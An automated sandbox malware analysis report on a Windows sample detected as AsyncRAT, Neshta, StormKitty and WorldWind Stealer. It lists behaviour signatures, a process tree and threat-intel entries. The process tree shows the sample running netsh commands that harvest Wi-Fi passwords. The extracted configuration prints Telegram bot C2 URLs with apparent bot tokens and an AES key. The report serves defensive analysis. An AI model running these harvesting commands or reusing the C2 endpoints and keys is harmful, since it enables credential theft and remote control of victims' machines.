Edit tour

Windows Analysis Report
LisectAVT_2403002B_4.exe

Overview

General Information

Sample name:	LisectAVT_2403002B_4.exe
Analysis ID:	1481700
MD5:	08adca5907849bca41a607e62864cd4a
SHA1:	7c7be1451cf7175923139990572470b3fceef9d7
SHA256:	0a8fe4d8b13e9cb811bf9985b89cb0a38ee2e594e705a0b366d80e55a3d6f5a4
Tags:	exeNeshta
Infos:

Detection

AsyncRAT, Neshta, StormKitty, WorldWind Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Sigma detected: Capture Wi-Fi password

Yara detected AsyncRAT

Yara detected Neshta

Yara detected StormKitty Stealer

Yara detected Telegram RAT

Yara detected Telegram Recon

Yara detected WorldWind Stealer

AI detected suspicious sample

Creates an undocumented autostart registry key

Drops PE files with a suspicious file extension

Drops executable to a common third party application directory

Drops or copies MsMpEng.exe (Windows Defender, likely to bypass HIPS)

Found many strings related to Crypto-Wallets (likely being stolen)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Uses netsh to modify the Windows network and firewall settings

Uses the Telegram API (likely for C&C communication)

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Classes Autorun Keys Modification

Sigma detected: Suspicious desktop.ini Action

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

LisectAVT_2403002B_4.exe (PID: 6476 cmdline: "C:\Users\user\Desktop\LisectAVT_2403002B_4.exe" MD5: 08ADCA5907849BCA41A607E62864CD4A)

LisectAVT_2403002B_4.exe (PID: 5836 cmdline: "C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe" MD5: E29AB30E42348ECF2831928B7B95D5D8)

cmd.exe (PID: 6380 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 1164 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 1360 cmdline: netsh wlan show profile MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

findstr.exe (PID: 4028 cmdline: findstr All MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 5844 cmdline: "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 2408 cmdline: chcp 65001 MD5: 20A59FB950D8A191F7D35C4CA7DA9CAF)

netsh.exe (PID: 1968 cmdline: netsh wlan show networks mode=bssid MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
neshta	Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."	No Attribution	https://threatvector.cylance.com/en_us/home/threat-spotlight-neshta-file-infector-endures.html https://www.mandiant.com/resources/pe-file-infecting-malware-ot https://www.virusbulletin.com/virusbulletin/2014/08/bird-s-nest https://www.virusradar.com/en/Win32_Neshta.A/description	https://malpedia.caad.fkie.fraunhofer.de/details/win.neshta

Name	Description	Attribution	Blogpost URLs	Link
Cameleon, StormKitty	PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.	No Attribution	https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/threat-actor-of-in-tur-est.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.cameleon

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendMessage"}

Threatname: AsyncRAT

{"Server": "127.0.0.1", "Ports": "6606,7707,8808", "Telegram C2": "https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628", "Version": "", "AES_key": "E2j9KwmxA0fsDzIAwy8PM7JVSe3hqJOh", "Mutex": "AsyncMutex_6SI8OkPnk", "Certificate": "MIIE9jCCAt6gAwIBAgIQAKQXqY8ZdB/modqi69mWGTANBgkqhkiG9w0BAQ0FADAcMRowGAYDVQQDDBFXb3JsZFdpbmQgU3RlYWxlcjAgFw0yMTA3MTMwNDUxMDZaGA85OTk5MTIzMTIzNTk1OVowHDEaMBgGA1UEAwwRV29ybGRXaW5kIFN0ZWFsZXIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnRXYoxuLqqgXdcvIAYWb9DuVRl5ZpdpPfoIgmb7Y9A9AuiddKNm4is8EvIlEh98bQD4OBaK0EGWuj7WuAcQPCCGuzHpDqFZbXR7iRqVn6TiLRsO0LCMB4ta4XLQ4JdTFXvnQHcGiUxHddH70T/2P2bBVY0W+PVJDzG3XUWHpYb4PVv7qaQr/DalR3qyyd5otzE1kIjJLCOCyI/9ntIcD/PbMTKVnCP4fzbnkNB+xy0PmQmx3WRWEF5q72TdgaKrCbOpR2C/+rfGIoPC6Ze6dqWO3bQLGt6jpCO8A4CtAaAYmiw1vHUOfP54BgI9ls1TjYO3Rn4R1jmhWBGV2pT5chrglgSxMzPhrxFTQljG78RlPCJmyagJbtnPL3AlV34sQggcbf+80FVeyechm/xrMTSWXrJQ+xek1HRJBDFoCJyUR7SuIUelOW24TU+rwl/2dcALLZXpjYu3/zvJjH4iaJXRCt7oWhfzIFG1bHBFr78kV9VP0H+ZNVb129eUr14F/uubAoIPAz2EHG/CXBZv9GkFuzw0NgsI1eP7AznCLdT+z91M+yB7vWtvclwQ5k6MxWDPOraG5JMjUHvKI6zvyZ4IQ2a7bUENDghxLAqIxgo7zfZMdrjbRxBlqW14oki6Um7GpGKEZ0s2Ip6K2yJHBLpbVxOYjyzrxohMguh+qvgQIDAQABozIwMDAdBgNVHQ4EFgQUmTejTtK6on20N0YJez5sAZdMe/kwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOCAgEAhauA0si7sHBd06DSGJgP5vJxL2daW30wR5XbAJd0HWj3QWfl7w27iyZ5AqBT4B0ojLNuMUG8mUOvpcoq0m80qUX7TIKUULKvb+i7uGGEDxk3W5F3es/CTUUWO0QlseWx9QEYziGlp6f3tkP4PTGSL0DywVRSa8l6f/B5kqwnW17CbQfJZ8vmy5snpDO/avgYssUnQtKQPhos7GbokNHps/bxEIRfLeprzQox20dw4RV59LcorjP5QV7Vc6FuYmhzC0nfRetTHckyxg66O3ekfTVs87MLiDV0ipQ+D/6k3g6DRuTdd4V2khjtI56ujSqTQ2PueNQXPu8y2fdsT2Rd1LcfxMS1xKAhSwhHfyy0I3JwzPG1D+sm3QNJEOoJviSNn5fYOFpY+mSEkFNMMeEbwOFdHxWbkiJk/Z8VwdH5I52tkHU3sRQMuZHtcKUc/SIt5Ivv6gtuEZQdm1GE6KUdiRB95s8JVGNlCcHX5bXbScu4eKCRQn3Cl+m5KR4EzI6hVP/iDRhVKj7Dn/blOHLzhNS5vW4X085dTP+1TBL8CHpQpiA3t8LfqfV1b/+WahOd3jNBNTXXfe/AQSjErgctLMdmOBpUQaJLOlcDcKGxWQdOo102nxg8Y/kFDARccywugoQxuIZpMYq74tjnJlJZ9kqR/LPrjmvx4v+0XFsaCPE=", "ServerSignature": "ET/+RjH00EM3iiOkuY/sXxZ/NfmN/AkPHfg68HIoAeGI4xaZ94k+Qq70XSkWDG5K2LFni9yeGdizCO5tqPVN8QTFBECU/VsJJ0Vd0X6zkPtrzhzBBtyMmqu1fZHO1EpHHiBx9dr0w5+5CA/DQOxlrpxzynR8uZ7OEe55UIhpOWHR3G8hDB2+xsX8pEIqupxNmPiRZ7vmugb1oLCdQI3ZmI1/qrf2NaSSmFXV7p9PYY1/zff/escBR7FUlD1Qqs/2Gz5XuDm6sjvRKtm8Ecj3fxECe4xJGFkm5vEdRDVySBBalcHFFXJg1AAp40klEIuVZwh0gLOhUcEKrPQADFf9n5h53h7IE1RdBb9WrflWuqu/mCsPHAaQ6Rb+BecWQRB+D6CJ9ghbUmh3Z4SeFi8i0qheKZuhncHrh3aHXXDoZ/TUu/ruvFv9pUF8TnY7/P1j4da3AxF4Gl9SLxHe28zCI/6qfzL+u/qRkIMg4yjAYbVgJfHx9HY0LNPYgqwoYdbmnMld1Llh1lgfF6USwbHbyXNX7zC1CTnFX81oBQhnRRcFnNrfvbonjVzJ2c/oBqiNUcSznYCIjkNQVfoL0QPRoEz2O3pXLnxUExOrXapnoNORkBlyFkgGZ5L3JQaifzdVTBJJSqKnUiND0Y1fiw5ZEllAkBxzhhN63H99VkDQHBQ=", "Group": "Default"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
LisectAVT_2403002B_4.exe	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
LisectAVT_2403002B_4.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x27d10:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x24291:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2636d:$s1: \VPN\NordVPN 0x26353:$s2: \VPN\OpenVPN 0x26335:$s3: \VPN\ProtonVPN
LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x24ac9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x24b3b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x24bc5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x24c57:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x24cc1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x24d33:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x24dc9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x24e59:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
LisectAVT_2403002B_4.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2acdc:$x3: StormKitty 0x1aa2c:$s1: GetBSSID 0x1e726:$s2: GetAntivirus 0x25779:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x259ab:$s6: "encrypted_key":"(.*?)"
LisectAVT_2403002B_4.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
Click to see the 8 entries

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_WorldWindStealer	Yara detected WorldWind Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_TelegramRecon	Yara detected Telegram Recon	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x27d10:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x24291:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2636d:$s1: \VPN\NordVPN 0x26353:$s2: \VPN\OpenVPN 0x26335:$s3: \VPN\ProtonVPN
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x24ac9:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x24b3b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x24bc5:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x24c57:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x24cc1:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x24d33:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x24dc9:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x24e59:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x4dc:$x3: StormKitty 0x1aa2c:$s1: GetBSSID 0x1e726:$s2: GetAntivirus 0x25779:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x259ab:$s6: "encrypted_key":"(.*?)"
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\AutoIt3\Uninstall.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\AutoIt3\Uninstall.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	MALWARE_Win_Neshta	Detects Neshta	ditekSHen	0xa0e0:$s1: Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus. 0xa1a8:$s2: ! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]
C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	JoeSecurity_Neshta	Yara detected Neshta	Joe Security
